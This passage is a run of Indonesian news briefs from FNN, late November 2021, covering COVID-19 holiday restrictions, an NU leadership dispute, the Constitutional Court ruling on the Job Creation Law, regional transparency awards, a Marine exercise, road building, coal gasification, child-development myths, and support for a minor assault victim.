Jakarta, FNN - Anggota Komisi IX DPR RI Abidin Fikri menilai pemerintah telah bertindak cepat mencegah terjadinya gelombang ketiga COVID-19. Anggota Komisi IX DPR RI Abidin Fikri kepada wartawan di Jakarta Jumat, mengatakan salah satu upaya pemerintah mencegah terjadinya lonjakan kasus COVID-19 dengan menerapkan PPKM level 3 pada liburan Natal dan Tahun Baru. Selain itu, pemerintah juga menyiagakan 1.200 rumah sakit rujukan, dan penyiapan alat kesehatan seperti oksigen. "Kemenkes menjelaskan sudah siap sedia untuk menangani itu kalau terjadi lonjakan karena berdasarkan pengalaman, setelah dikoordinasikan secara baik dengan pihak terkait, rumah sakit, pengadaan alkes, dan oksigen dan sebagainya," kata dia. Dia mengatakan mutasi virus COVID-19 di setiap negara berbeda-beda. Kemudian, gelombang ketiga COVID-19 tentu menjadi ancaman. Lalu, katanya tidak bisa dipastikan juga mutasi virus COVID-19 di dalam negeri. Menurut dia, PPKM level 3 saat libur Natal dan Tahun Baru itu merupakan bentuk kewaspadaan dari pemerintah. "Sehingga pemerintah dalam hal ini bertindak cepat untuk menghindari, karena dari beberapa pengalaman kemungkinan lonjakan yang tinggi itu karena adanya kerumunan," ucapnya Sebab, kata Abidin Fikri kerumunan masyarakat saat libur Natal dan Tahun Baru sangat mungkin terjadi. Maka itu, dia menilai perlunya upaya tracing, testing, dan treatment (3T) untuk mengantisipasi potensi terjadinya gelombang ketiga COVID-19. "Oleh karena itu di bandara-bandara, saya kira ini imbauan juga kepada pemerintah agar diperketat yang masuk ke Indonesia terutama dari negara-negara yang sekarang sedang mengalami lonjakan gelombang ketiga ini," kata dia. Dia juga menilai perlunya penjelasan yang persuasif kepada masyarakat terkait penerapan PPKM level 3 itu. Menurutnya semua pihak perlu berperan dalam memberikan penjelasan kepada masyarakat, seperti tokoh agama, dan asosiasi kepala daerah. "Oleh karena itu saya berharap kepada pemerintah daerah melalui Forkopimda, DPRD, itu juga turut bersama-sama, ya memang harus sabar, ini kan berkaitan dengan nyawa manusia, kalau tidak tepat jadi masalah," ujarnya. (sws)

Gus Ipul: Rais Aam Perintahkan Muktamar NU Digelar 17 Desember

Jakarta, FNN - Ketua PBNU, Saifullah Yusuf, mengatakan Rais Aam PBNU, KH Miftachul Akhyar, telah menerbitkan surat perintah yang memerintahkan panitia agar segera mengambil langkah-langkah terukur untuk menyelenggarakan Muktamar Ke-34 NU pada 17 Desember 2021. Surat perintah ini menjadi dasar dan pijakan bagi PBNU lewat panitia pengarah dan panitia pelaksana untuk mempercepat pelaksanaan muktamar dari tanggal yang ditetapkan sebelumnya, kata dia, dalam keterangan tertulis di Jakarta, Jumat. Menurut Gus Ipul --sapaan akrab Saifullah Yusuf-- dengan terbitnya surat perintah itu maka simpang siur soal waktu pelaksanaan muktamar kini terjawab. "Semua pihak harus mematuhi keputusan Rais Aam sebagai pemegang komando tertinggi PBNU," kata dia. Menurut dia, surat perintah Rais Aam itu tidak tiba-tiba muncul, namun ada sebab dan peristiwa yang mendahului. "Surat perintah ini ada latar belakangnya, tidak 'ujug-ujug'. Itulah kenapa saya bilang bahwa PBNU itu sedang tidak baik-baik saja," ujar Gus Ipul. Menurut dia, sebelum surat perintah itu dibuat, telah ada jadwal rapat untuk menyikapi status PPKM level 3 pada periode 24 Desember 2021 hingga 2 Januari 2022 secara nasional. Hal itu dilakukan mengingat Muktamar Ke-34 NU sebelumnya dijadwalkan berlangsung pada 23--25 Desember 2021 di Lampung. Peserta rapat, kata Gus Ipul, adalah Rais Aam, KH Miftachul Ahyar, Katib Aam, KH Yahya Cholil Staquf, Ketua Umum PBNU, KH Said Aqil Siroj, dan Sekretaris Jenderal PBNU, A Helmy Faishal. Rapat disepakati dilakukan pada Rabu (24/11). Karena pada hari itu tidak dapat diambil keputusan alias deadlock, kata Gus Ipul lagi, maka sekjen meminta rapat ditunda dan dapat dilanjutkan Kamis (25/11). "Jadi, Rabu sudah rapat. Rupanya tidak ditemukan kata sepakat untuk memajukan muktamar. Alasanya soal kesiapan panitia," kata Gus Ipul. Untuk mendapat laporan soal kesiapan, lalu peserta rapat mencoba menghubungi panitia muktamar, namun tidak berhasil. "Ternyata Pak Nuh (Mohammad Nuh) selaku Ketua Panitia Pengarah sedang di lapangan, di Lampung. Sementara Ketua Panitia Pelaksana, Pak Imam Aziz, hari Rabu itu tidak bisa dihubungi," jelas dia. Akhirnya Sekjen PBNU, A Helmy Faishal, meminta rapat ditunda. Keempatnya sepakat bertemu lagi hari Kamis (25/11) dan mengundang panitia muktamar. Pada Kamis, lanjut Gus Ipul, Rais Aam dan Katib Aam datang kembali untuk melanjutkan rapat yang tertunda. Namun, hingga sore hari, ketua panitia, ketua umum, dan sekjen tidak muncul. Karena tidak ada kejelasan soal kehadiran ketua umum, sekjen, dan ketua panitia itulah, lanjut Gus Ipul, maka Rais Aam memutuskan untuk menerbitkan surat perintah. "Rapat Kamis itu harusnya dimulai bakda zuhur. Tapi, jangankan Ketua Panitia, bahkan Ketua Umum dan Sekjen saja tidak muncul. Ini yang saya katakan bahwa PBNU itu tidak sedang baik-baik saja," kata dia. Menurut dia, ketidakhadiran ketua panitia, ketua umum, dan sekjen di hari kedua rapat menunjukkan ketiadaan komitmen menjalankan hasil rapat. (sws)

FPAN: Pemerintah-DPR Segera Perbaiki UU Ciptaker Pasca-Putusan MK

Jakarta, FNN - Ketua Fraksi PAN DPR, Saleh P Daulay, meminta pemerintah dan DPR segera menginisiasi perbaikan UU Nomor 11/2020 tentang Cipta Kerja, pasca-Putusan Mahkamah Konstitusi (MK). "Keputusan MK terkait UU Cipta Kerja adalah final dan mengikat. Karena itu, pemerintah dan DPR harus segera menginisiasi perbaikan UU tersebut. Pemerintah dan DPR harus mengambil keputusan, pilihan terbaik adalah segera melakukan perbaikan," kata dia, saat dikonfirmasi di Jakarta, Jumat. Menurut dia, pemerintah dan DPR perlu segera memperbaiki UU tersebut karena waktu yang tersedia sangat sempit mengingat ruang lingkup dan jumlah pasal dalam UU Ciptaker sangat banyak. Ia menilai, segala amar putusan yang mengikuti Putusan MK harus ditaati, termasuk tidak membuat aturan turunan dan tidak membuat kebijakan yang didasarkan atas UU tersebut. "Saya melihat putusan itu dari sisi positif, terlihat jelas independensi MK. Meskipun tidak dinyatakan bertentangan dengan UUD 1945, namun dengan putusan seperti ini fungsi MK sebagai pengawal konstitusi sangat terasa," ujarnya. Menurut dia, pada sisi yang lain, putusan MK itu akan menjadi pembelajaran bagi pemerintah dan DPR terutama karena pengalaman membuat omnibus law masih sangat baru di Indonesia. Karena itu dia menilai sangat wajar jika MK memberikan koreksi dan perbaikan sehingga ke depan jika ada agenda pembahasan RUU Omnibuslaw atau RUU lainnya, semua catatan yang mengiringi putusan MK ini harus diperhatikan. "Misalnya keterlibatan dan partisipasi publik, harus merujuk pada UU 12/2011 tentang Pembentukan Peraturan Perundang-undangan, berhati-hati dalam penyusunan kata dan pengetikan, serta catatan-catatan lain," katanya. Ia berharap putusan MK itu tidak menyebabkan adanya saling tuding dan menyalahkan karena yang perlu adalah bagaimana agar pemerintah serta DPR membangun sinergi yang baik untuk memperbaikinya dengan keterlibatan dan partisipasi publik secara luas dan terbuka. (sws)

Kalteng Berikan Penghargaan Keterbukaan Informasi Badan Publik

Palangka Raya, FNN - Wakil Gubernur Kalimantan Tengah Edy Pratowo mengapresiasi pelaksanaan Penganugerahan Keterbukaan Informasi Badan Publik 2021. Kegiatan ini menunjukkan peran penting Komisi Informasi dalam mengawasi serta mengevaluasi capaian keterbukaan informasi badan publik pemerintah maupun non pemerintah, kata Edy di Palangka Raya, Jumat. "Sekaligus mengawal penguatan akuntabilitas badan publik di Kalimantan Tengah," katanya di sela kegiatan penganugerahan. Ia menyampaikan penganugerahan ini sebagai kesempatan baik bagi badan publik untuk terus mengakselerasi upaya-upaya terbaik mengenai keterbukaan informasi melalui ragam inovasi. "Pengelolaan keterbukaan informasi dalam rangka mendorong partisipasi masyarakat guna terwujudnya tata kelola pemerintahan yang baik serta transparan," terangnya. Adapun hasil penganugerahan tahun ini, yakni untuk PPID Utama kabupaten dan kota, kategori informatif peringkat pertama Palangka Raya, kedua Kotawaringin Barat dan ketiga Kapuas. Kategori menuju informatif peringkat pertama Pulang Pisau, kedua Kotawaringin Timur, ketiga Katingan dan keempat Murung Raya. Cukup informatif yakni peringkat pertama Gunung Mas dan kedua Seruyan. Untuk badan publik perangkat daerah Provinsi Kalimantan Tengah, peringkat pertama kategori informatif adalah Dinas Kelautan dan Perikanan, peringkat kedua Badan Pengembangan Sumber Daya Manusia, serta peringkat ketiga Badan Kepegawaian Daerah. Sedangkan sebanyak sembilan perangkat daerah masih masuk dalam kategori menuju informatif dan 10 perangkat daerah masuk dalam kategori cukup informatif. Selanjutnya badan publik vertikal Provinsi Kalimantan Tengah, kategori informatif yakni Badan Pusat Statistik, Badan Pemeriksa Keuangan RI Perwakilan Kalteng, Komisi Pemilihan Umum, serta Kanwil Kemenkumham. Sedangkan tiga instansi vertikal masuk kategori menuju informatif dan juga sebanyak tiga instansi masuk kategori cukup informatif. Kemudian Bank Kalteng mendapat penganugerahan kategori cukup informatif serta badan publik perguruan tinggi kategori cukup informatif yakni Universitas Muhammadiyah Palangkaraya dan Sekolah Tinggi Ilmu Kesehatan Eka Harap Palangka Raya. (sws)

Korps Marinir TNI AL Latihan Pertempuran Kota di Karawang

Jakarta, FNN - Korps Marinir TNI AL kembali menggelar latihan operasi pertempuran kota dan latihan taktik kondisi tertentu Tahun 2021 di wilayah Karang Anyar, Karawang, Jawa Barat, Jumat. Latihan itu disaksikan langsung Asisten Operasi Kepala Staf TNI AL, Laksamana Muda TNI Dadi Hartanto, dan Komandan Korps Marinir TNI AL, Mayor Jenderal TNI (Mar) Suhartono. Sebelumnya Korps Marinir TNI AL telah beberapa kali menggelar latihan pertempuran kota dan latihan taktik kondisi tertentu yang di laksanakan di beberapa daerah di Indonesia antara lain Lampung dan Jawa Timur. Sedangkan di Sorong, Papua Barat, rencananya akan digelar pada Desember 2021 mendatang. Latihan kali ini melibatkan 862 personel Korps Marinir TNI AL dari jajaran Pasukan Marinir 1 terdiri dari prajurit kecabangan infanteri, kavaleri, artileri, bantuan tempur, dan personel Batalion Intai Amfibi. Persenjataan dan peralatan perang yang digunakan antara lain, pesawat CASA NC-212, helikopter Bell-412, tank amfibi, BMP 4, howitzer, meriam 105, kendaraan taktis P6 ATAV, dan kendaraan tempur lain. Di depan ratusan personelnya, Suhartono menyampaikan rasa bangga dan bahagia karena bisa meninjau dan melihat secara langsung latihan ini yang berjalan secara lancar dan aman. "Saya bangga latihan ini berjalan aman dan lancar," kata Suhartono, dalam siaran persnya. Sementara Hartanto juga mengucapkan terima kasih kepada seluruh prajurit Baret Ungu yang telah melaksanakan latihan ini dengan semangat, baik dan aman serta tanpa kecelakaan. Latihan pertempuran kota dilaksanakan dengan mengutamakan protokol kesehatan dan hadir pada latihan itu Kadisopslatal, Laksamana Pertama TNI Eko Wahjono, Komandan Pasukan Marinir 1, Brigadir Jenderal TNI (Mar) Hermanto, dan pejabat utama Korps Marinir TNI AL. (sws)

Menteri PUPR: Jalan Kapuas Hulu Menuju Kaltim Selesai Tahun 2024

Putussibau, Kapuas Hulu, FNN - Menteri Pekerjaan Umum dan Perumahan Rakyat (PUPR) Basuki Hadimuljono mengatakan pembangunan ruas jalan Nanga Era Kapuas Hulu (Kalbar)-Batas Kalimantan Timur (Kaltim) ditargetkan selesai pada 2024. "Saat ini belum semua di aspal, kami upayakan tahun 2024 jalan menuju Kaltim tembus," kata Basuki Hadimuljono, saat berkunjung ke Rumah Betang Lunsara Hilir Kecamatan Putussibau Selatan Kapuas Hulu Kalimantan Barat, Jumat. Menurut dia, pembangunan untuk kawasan perbatasan atas permintaan Presiden Joko Widodo untuk membangun pusat ekonomi baru masyarakat mulai dari daerah pinggiran. Di Kalimantan ada 10 kawasan perbatasan yang di bangun dan lima berada di Kalimantan Barat, tiga diantaranya sudah terbangun yaitu Aruk, Entikong dan Badau. "Saya melihat ruas jalan Nanga Era-Batas Kaltim itu sudah standar nasional, lebar tujuh meter, memang belum semua aspal ada juga masih pengerasan, direncanakan hingga tahun 2024 jalan itu sudah aspal semua," ujar Basuki di hadapan masyarakat adat Rumah Bentang Lunsa Hilir. Menteri juga menyebutkan pembangunan untuk kawasan perbatasan atau daerah pinggiran juga berupa pembangunan air bersih dan juga Bantuan Stimulan Perumahan Swadaya (BSPS). "Program itu akan terus kami lanjutkan sesuai dalam rangka membangun Indonesia dari pinggiran," kata Basuki didampingi Ketua Komisi V DPR RI Lasarus. Kepala Desa Urang Lunsa Kecamatan Putussibau Selatan Thomas mengatakan dengan terbangunnya akses jalan sangat membantu masyarakat, yang sebelumnya hanya diakses menggunakan jalur sungai menuju ibu kota kabupaten. "Sebelum ada jalan itu, kami harus menempuh perjalanan sekitar dua jam melalui jalur sungai dengan biaya kurang lebih Rp500 ribu, sekarang dengan akses jalan itu, cukup mengeluarkan Rp20 ribu saja untuk beli minyak kendaraan sepeda motor kami bisa sampai ke Putussibau," katanya. Ia berharap pembangunan jalan ke Kalimantan Timur bisa tembus untuk mempermudah akses transportasi darat masyarakat yang berada di perhuluan sungai Kapuas. Sementara itu, Bupati Kapuas Hulu Fransiskus Diaan mengapresiasi perhatian pemerintah pusat untuk pembangunan di wilayah Kapuas Hulu terutama untuk pembangunan jalan Nanga Era Kapuas Hulu-batas Kaltim. "Kami minta jalan itu bisa tuntas sampai menembus Kaltim, karena di daerah hulu Kapuas ada masyarakat kami yang masih terisolir terutama di daerah Tanjung Lokang sana, selama ini masyarakat cuma bisa diakses melalui jalur sungai dengan melewati arus deras dan riam," kata Fransiskus. Ia juga mengajak masyarakat untuk terus mendukung program pembangunan dari pemerintah untuk membuka keterisoliran masyarakat yang ada di Lintas Timur wilayah Kecamatan Putussibau Selatan Kapuas Hulu. Usai mengunjungi masyarakat di Rumah Betang Lunsa Hilir, Menteri PUPR Basuki Hadimuljono bersama Ketua Komisi V DPR RI Lasarus dan didampingi Bupati Kapuas Hulu Fransiskus Diaan meninjau pelaksanaan pembangunan ruas jalan Nanga Era-Batas Kaltim di daerah tersebut. (mth)

Pimpinan DPD RI: MK Telah Mewujudkan Harapan Daerah dan Rakyat

Jakarta, FNN - Wakil ketua Dewan Perwakilan Daerah RI Sultan B Najamudin mengatakan Mahkamah Konstitusi telah mewujudkan harapan daerah dan rakyat soal Undang-undang Cipta Kerja. Sultan B Najamudin dalam keterangannya diterima di Jakarta, Jumat, mengapresiasi keputusan Mahkamah konstitusi (MK) yang menetapkan Undang-undang Omnibus Law Ciptaker sebagai produk hukum inkonstitusional. "Mahkamah konstitusi telah menjawab tuntutan dan harapan daerah dan masyarakat khususnya kaum buruh yang sejak UU ini dibahas telah menunjukkan sikap penolakannya. Kita patut bersyukur, MK selalu teguh dan konsisten di jalan konstitusional," kata Sultan. Menurutnya dalam sejarahnya tidak pernah ada UU se-kontroversial dan mendapat penolakan secara luas selain UU Ciptaker. Meskipun, lanjut dia semangat UU tersebut baik adanya, tapi harus diakui proses penyusunan dan keberadaannya belum sepenuhnya benar dan dapat diterima oleh masyarakat dan konstitusi. "Sejak awal DPD RI secara kelembagaan telah menunjukkan keraguannya terhadap kehadiran produk hukum yang tidak lazim ini. Sehingga kami merasa evaluasi MK ini menjadi angin segar dan kabar baik bagi pemerintah daerah dan teman-teman buruh," kata mantan Ketua HIPMI Bengkulu itu. Lebih lanjut, Sultan meminta agar pemerintah dan DPR RI untuk segera menindaklanjuti keputusan MK tersebut. Atau, kata dia jika tidak, maka UU itu akan otomatis kedaluwarsa atau inkonstitusional secara permanen. "Meski memiliki tugas legislasi, dalam prosesnya DPD RI tidak dalam posisi sebagai pembuat dan perumus Omnibus Law Ciptaker kecuali sedikit, namun jika diminta, kami tentu selalu terbuka dan siap mengambil bagian secara aktif dalam memperbaharui materiil UU ini," ucapnya. Seperti diketahui bahwa, Majelis Hakim Mahkamah Konstitusi (MK) menyatakan bahwa Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja bertentangan dengan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 dan tidak mempunyai kekuatan hukum mengikat secara bersyarat. "Bertentangan dengan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 dan tidak mempunyai kekuatan hukum mengikat secara bersyarat sepanjang tidak dimaknai 'tidak dilakukan perbaikan dalam waktu 2 tahun sejak putusan ini diucapkan'," kata Ketua MK Anwar Usman. Selain itu, MK juga menyatakan untuk menangguhkan segala tindakan atau kebijakan yang bersifat strategis dan berdampak luas. Serta, tidak dibenarkan pula untuk menerbitkan peraturan pelaksana baru yang berkaitan dengan Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja (Lembaran Negara Republik Indonesia Tahun 2020 Nomor 245, Tambahan Lembaran Negara Republik Indonesia Nomor 6573). (sws)

Pemkot Tangerang Peroleh Predikat Badan Publik Informatif 2021

Tangerang, FNN - Pemerintah Kota Tangerang memperoleh predikat sebagai badan publik informatif untuk kelima kalinya dari Komisi Informasi Provinsi Banten berdasarkan hasil pemantauan dan evaluasi Keterbukaan Informasi Publik Tahun 2021 "Saya berharap agar para pegawai di lingkup Pemkot Tangerang senantiasa menjaga kualitas pelayananannya dalam memberikan informasi sesuai dengan aturan keterbukaan informasi publik," kata Kepala Dina Kominfo Tangerang, Mulyani, dalam keterangannya Jumat. Penganugerajhan tersebut diterima Mulyani berlokasi di Gedung Negara Provinsi Banten pada, Rabu (24/11). Ia menjelaskan, seperti tahun-tahun sebelumnya, pemantauan dan evaluasi 2021 telah menjalani beberapa tahapan, diawali dengan pengisian daftar pertanyaan swa penilaian sejak awal Agustus lalu oleh badan publik, dilanjutkan dengan tahap pemeriksaan serta pemaparan oleh kepala daerah, kali ini dilakukan Wakil Wali Kota Tangerang, Sachrudin. "Alhamdulillah, untuk hasil SAQ dan proses keseluruhan kami tidak mendapatkan catatan dari KI Provinsi banten, berarti Badan Publik Tangerang telah memenuhi standar sebagai Badan Publik Informatif dengan nilai keseluruhan 93,27," kata Mulyani. Sebagai bukti keseriusan mereka dalam mempermudah masyarakat untuk mendapatkan informasi publik, mereka telah menyediakan berbagai kanal untuk dapat mengakses informasi publik, di antaranya ruang pelayanan khusus, website PPID, aplikasi PPID dan pengajuan permohonan informasi secara dalam jaringan. Sebagai informasi, terdapat 101 badan publik di Provinsi Banten mengikuti pemantauan dan evaluasi keterbukaan informasi publik 2021, di antaranya 39 organisasi perangkat daerah, delapan pemerintah daerah kabupaten/kota, 24 lembaga non struktural/vertikal, 18 BUMD, dan 12 partai politik tingkat provinsi. (sws)

DPRD Bekasi Usulkan Bangun MPP Mandiri Optimalisasi Layanan

Cikarang, Bekasi, FNN - DPRD Kabupaten Bekasi, Jawa Barat, mengusulkan pemerintah daerah untuk membangun Mal Pelayanan Publik (MPP) Mandiri guna optimalisasi pelayanan kepada masyarakat. Ketua Komisi I DPRD Kabupaten Bekasi, Ani Rukmini, mengatakan, kehadiran MPP sebagai mandat dari Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Kemenpan RB) sedianya dijadikan perhatian khusus pemerintah daerah. "Makanya dukungan dari kepala daerah sangat penting agar Kabupaten Bekasi memiliki gedung sendiri," katanya, di Cikarang, Jumat. Ia mengatakan kehadiran MPP Mandiri diyakini mampu menambah kepercayaan masyarakat terhadap kinerja pemerintah daerah dan di sisi lain pemerintah daerah akan lebih mudah menjalankan fungsi pengawasan sekaligus penataan di setiap gerainya. Ia katakan MPP Mandiri menjadi ikon kebanggaan masyarakat khususnya menyangkut kemudahan yang diberikan pemerintah daerah. Bangunan MPP Mandiri juga dibuat berdasarkan ciri khas budaya setempat Kabupaten Bekasi. "MPP harus memiliki gedung sendiri dan itu perlu karena akan menjadi ikon Pemkab Bekasi yang ingin memanjakan masyarakat dengan pelayanan yang mudah dan cepat," katanya. Menurut dia, idealnya MPP Kabupaten Bekasi berisikan sekurang-kurangnya 32 gerai layanan masyarakat sementara MPP yang berlokasi di Lotte Mart Cikarang Utara saat ini hanya terisi 20 gerai saja. "Kami juga akan mendorong penambahan penyewa ruang di MPP yang saat ini sudah ada demi memudahkan masyarakat mengurus dokumen yang dibutuhkan," katanya. Ia yakin keberadaan MPP Mandiri akan memberikan kemudahan masyarakat dalam hal administrasi dan perizinan sekaligus nilai tambah bagi pemerintah daerah atas upaya optimalisasi pelayanan publik. "Kemudahan-kemudahan ini yang sebetulnya diharapkan masyarakat, sangat simpel karena urus sesuatu di satu tempat dan selesai di situ," kata dia. (sws)

Pemerintah Maksimalkan Hilirisasi Batu Bara Jadi Produk Dimetil Eter

Jakarta, FNN - Pemerintah Indonesia terus berupaya memaksimalkan pemanfaatan potensi batu bara di dalam negeri melalui hilirisasi agar komoditas ini tetap menjadi penggerak ekonomi nasional di masa depan. Direktur Pembinaan Pengusahaan Batu Bara Kementerian ESDM Sujatmiko mengatakan pemerintah memanfaatkan batu bara untuk menjadi dimetil eter hingga bahan baku untuk pabrik petrokimia. "Dalam hilirisasi ini nanti batu bara kami konversi menjadi gas, nah gasnya bisa untuk dimetil eter, dimetil eter bisa untuk mengganti LNG maupun syngas batu bara bisa untuk metanol, pupuk maupun keperluan pabrik petrokimia," ujarnya dalam acara Indonesia EBTKE ConEx yang dipantau di Jakarta, Jumat. Dimetil eter dipandang memiliki prospek sebagai bahan bakar masa depan karena mampu digunakan sebagai pengganti elpiji. Melalui skenario gasifikasi batu bara menjadi dimetil eter, pemerintah berupaya memperpanjang masa pemanfaatan batu bara sebagai energi primer. Berdasarkan perhitungan Kementerian ESDM pada 2020, sumber daya batu bara di Indonesia mencapai 143 miliar ton, cadangan sebanyak 38,8 miliar ton, asumsi produksi 600 juta ton per tahun, dan kecukupan cadangan bisa bertahan selama 65 tahun bila tidak ada penambahan cadangan batu bara. Angka produksi dan kebutuhan batu bara terus meningkat selama 20 tahun ke depan untuk memenuhi kebutuhan energi nasional dan dunia. Kementeria ESDM mencatat produksi batu bara hanya 550 juta ton pada 2020, lalu meningkat menjadi 633 juta ton pada 2025, kemudian bertambah lagi menjadi 684 juta ton 2030, dan sedikit turun menjadi 678 juta ton pada 2040. Hilirisasi batu bara akan menjadi penopang utama untuk mengantisipasi kekurangan pasokan gas di dalam negeri. "Kami berharap dengan adanya potensi yang besar ini batu bara bisa terus kami gunakan sebagai penggerak ekonomi nasional," ucap Sujatmiko. (mth)

Mitos Soal Tumbuh Kembang Anak yang Harusnya Dihindari

Jakarta, FNN - Dokter spesialis anak dr. Mesty Ariotedjo, Sp.A mengatakan masih banyak orangtua yang percaya pada mitos-mitos mengenai tumbuh kembang anak, salah satunya adalah anak dilarang menggunakan tangan kiri untuk melakukan aktivitas sehari-hari. Dokter lulusan FKUI-RSCM ini mengatakan masih banyak orangtua yang melarang anaknya menggunakan tangan kiri karena dianggap akan menjadi "kidal". Menurut dr. Mesty, anak yang belum berusia 2 tahun dibebaskan untuk mencoba menggenggam atau menggunakan tangan kirinya saat beraktivitas seperti makan, mencorat-coret serta bermain. Sebab hal tersebut akan berpengaruh pada perkembangan otak kiri dan kanannya. "Anak butuh memiliki keseimbangan otak kiri dan kanan dan memang ini harus distimulasi terus. Kalau kita menahan dia untuk menggunakan tangan kirinya, maka otak kanannya akan terhambat perkembangannya," ujar dr. Mesty dalam webinar Tentang Anak pada Jumat. Mitos kedua yang sering dilakukan oleh orangtua adalah menggunakan baby walker untuk membantu anak lebih cepat berjalan. dr. Mesty mengatakan bahwa penggunaan baby walker tidak direkomendasikan di seluruh dunia sebab menyebabkan banyak kecelakaan pada anak. Tak hanya itu, penggunaan baby walker juga dapat menyebabkan fungsi kaki tidak optimal jika dibandingkan dengan anak yang tidak menggunakan alat bantu berjalan. "Selain bahaya, itu juga menyebabkan fungsi kakinya menjadi tidak natural dan akhirnya menjinjit dan posisi jalannya mungkin tidak seoptimal yang tidak pakai baby walker walaupun tidak semua anak mengalami itu," kata dr. Mesty. Lebih lanjut dr. Mesty menyebutkan mitos terakhir yang sering dilakukan oleh para orangtua adalah melarang anak memasukkan tangan ke mulut. dr. Mesty menjelaskan bahwa sampai usia 2 tahun, anak sedang dalam fase oral di mana memasukkan tangan ke dalam mulut adalah hal yang dianggap nyaman. "Itu tidak perlu dilarang karena memasukkan tangan ke mulut adalah salah satu bentuk soothing," ujar dr. Mesty. Yang harus dilakukan saat anak memasukkan tangannya ke mulut adalah melakukan observasi atas tindakan tersebut. Orangtua harus memahami apa yang dibutuhkan anak saat itu, apakah ada sesuatu yang tidak terpenuhi atau yang membuatnya merasa tidak nyaman. "Kita harus observasi, kita harus memahami apa sih sebenarnya kebutuhan anak ini yang tidak terpenuhi dan apa yang membuatnya tidak nyaman dan itu yang harus diatasi," kata dr. Mesty. (mth)

Tim Kemensos Beri Pendampingan Korban Penganiayaan di Kota Malang

Malang, FNN - Kementerian Sosial (Kemensos) memberikan pendampingan kepada korban kekerasan seksual dan penganiayaan yang terjadi di wilayah Kota Malang, Jawa Timur, termasuk pada saat memberikan keterangan kepada pihak kepolisian. Satuan Bakti Pekerja Sosial (Sakti Peksos) Kemensos, Ajeng Rahayu Prastiwi dalam keterangan tertulis yang diterima ANTARA di Kota Malang, Jumat, mengatakan kondisi psikologis korban kekerasan seksual dan penganiayaan berinisial HN saat ini sudah semakin membaik. "Kondisi psikologis HN lebih tenang sudah lebih bergembira. Kedekatan yang kami bangun tampaknya membawa hasil. Kami bersiap mendampingi korban untuk memberikan keterangan kepada penyidik," kata Ajeng. Ajeng menjelaskan Kementerian Sosial melalui Sakti Pensos mengambil peran sejak awal kasus ini berkembang. Kini, korban tersebut berada di bawah pengawasan penuh dan pendampingan di Unit Perlindungan dan Pelayanan Sosial Petirahan Anak (PPSPA) Bima Sakti di Kota Batu. Tim pendamping, lanjutnya, terus membangun kedekatan dengan korban dan memberikan penguatan sosial emosional kepada korban yang berusia 13 tahun tersebut. Pendampingan yang dilakukan tersebut, sesuai dengan instruksi Menteri Sosial Tri Rismaharini. Tim Balai Antasena bekerja sama dengan Sakti Peksos dan Dinas Sosial Perlindungan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (P3AP2KB) juga akan memberikan pendampingan untuk proses BAP ketiga. Pendampingan itu akan diberikan dalam proses BAP ketiga yang akan dilakukan di Polresta Malang Kota. Selain itu, tim juga akan berkoordinasi dengan pihak kepolisian untuk memberikan rekomendasi terhadap para pelaku sebelum P21. Dalam kesempatan itu, Pekerja Sosial dari Balai Antasena Magelang Diamira yang melakukan pendampingan menambahkan dengan berbagai terapi yang dilakukan oleh tim sudah memberikan dampak positif bagi korban. Saat ini, korban bisa berkomunikasi dengan baik walau masih menyisakan trauma terhadap para pelaku. Korban juga masih mengeluhkan rasa sakit di kepala dan perut. "Korban juga telah mulai terbiasa dengan kedatangan orang yang ikut membantu korban dalam kasus ini. Korban memerlukan waktu istirahat yang cukup dan pengobatan lebih lanjut," tambah Diamira. Sebagai informasi, korban yang berusia 13 tahun tersebut, dianiaya oleh sekelompok temannya pada 18 November 2021. Kejadian tersebut bermula pada saat korban dibawa oleh salah satu tersangka ke suatu tempat dan dilakukan persetubuhan. Kemudian istri siri dari tersangka pelaku persetubuhan tersebut mengetahui kejadian itu. Istri siri pelaku persetubuhan, kemudian membawa beberapa orang temannya untuk menginterogasi korban dan melakukan tindakan kekerasan. Polisi telah melakukan pemeriksaan terhadap sepuluh orang saksi yang masih berstatus anak-anak. Dari total sepuluh anak tersebut, tujuh orang ditetapkan sebagai tersangka dalam kasus persetubuhan dan penganiayaan. Sementara tiga lainnya, dikembalikan kepada orang tua. Dari tujuh tersangka itu, satu orang merupakan pelaku persetubuhan sementara enam lainnya pelaku kekerasan. Dari tujuh tersangka tersebut, enam orang ditahan di sel tahanan anak Polresta Malang Kota, dan satu lainnya tidak ditahan karena berusia di bawah 14 tahun. (mth)

Festival Pemuda di Surabaya Perkuat Budaya Warga Pesisir

Surabaya, FNN - Festival Pemuda yang digelar Taruna Merah Putih di kawasan pesisir Bulak, Kota Surabaya, Jawa Timur, pada 25-28 November 2021 diharapkan bisa memperkuat tradisi budaya warga pesisir. Ketua Taruna Merah Kota Surabaya Putih Aryo Seno Bagaskoro di Surabaya, Jumat, mengatakan, Festival Pemuda itu terdiri dari beberapa macam kegiatan meliputi pameran produk UMKM, pelatihan marketing UMKM, perform music, talk show tentang kepemudaan, ziarah ke Makam Wali Habib Syech Umar Sumbo, juga parade perahu hias dan upacara di pesisir pantai Bulak. "Kaum milenial dengan senang hati bisa ikut andil, ambil bagian, dalam kegiatan-kegiatan untuk pemulihan ekonomi. Terlebih ketika berakar pada ekonomi kerakyatan dan kebudayaan seperti di kawasan pesisir ini," kata Aryo Seno Bagaskoro, yang juga mahasiswa Ilmu Politik FISIP Universitas Airlangga ini. Pengagum Bung Karno, dan alumnus SMA Negeri 5 Surabaya itu, berharap agar spirit kepahlawanan arek-arek Suroboyo senantiasa mewarnai gerak anak-anak muda, kaum milenial. "Surabaya ini maju dengan pesat, juga sebagai kota yang berbasis jasa dan peregangan, serta pusat pendidikan. Kami sepakat Surabaya tidak boleh kehilangan jati dirinya. Semangat gotong royong senantiasa mewarnai segenap kerja-kerja kerakyatan di Kota Surabaya,” kata Seno. Ketua DPC PDI Perjuangan Kota Surabaya Adi Sutarwijono mengapresiasi kerja anak-anak muda milineal yang tergabung dalam Taruna Merah Putih bekerja sama dengan Badan Kebudayaan Nasional (BKN) Surabaya, organ di bawah PDI Perjuangan, telah berinisiatif membuat Festival Pemuda untuk memperingati Hari Pahlawan. Adi berharap Taruna Merah Putih dan Badan Kebudayaan Nasional PDI Perjuangan Kota Surabaya terus bergerak di segmen anak-anak muda dan memperkuat tradisi 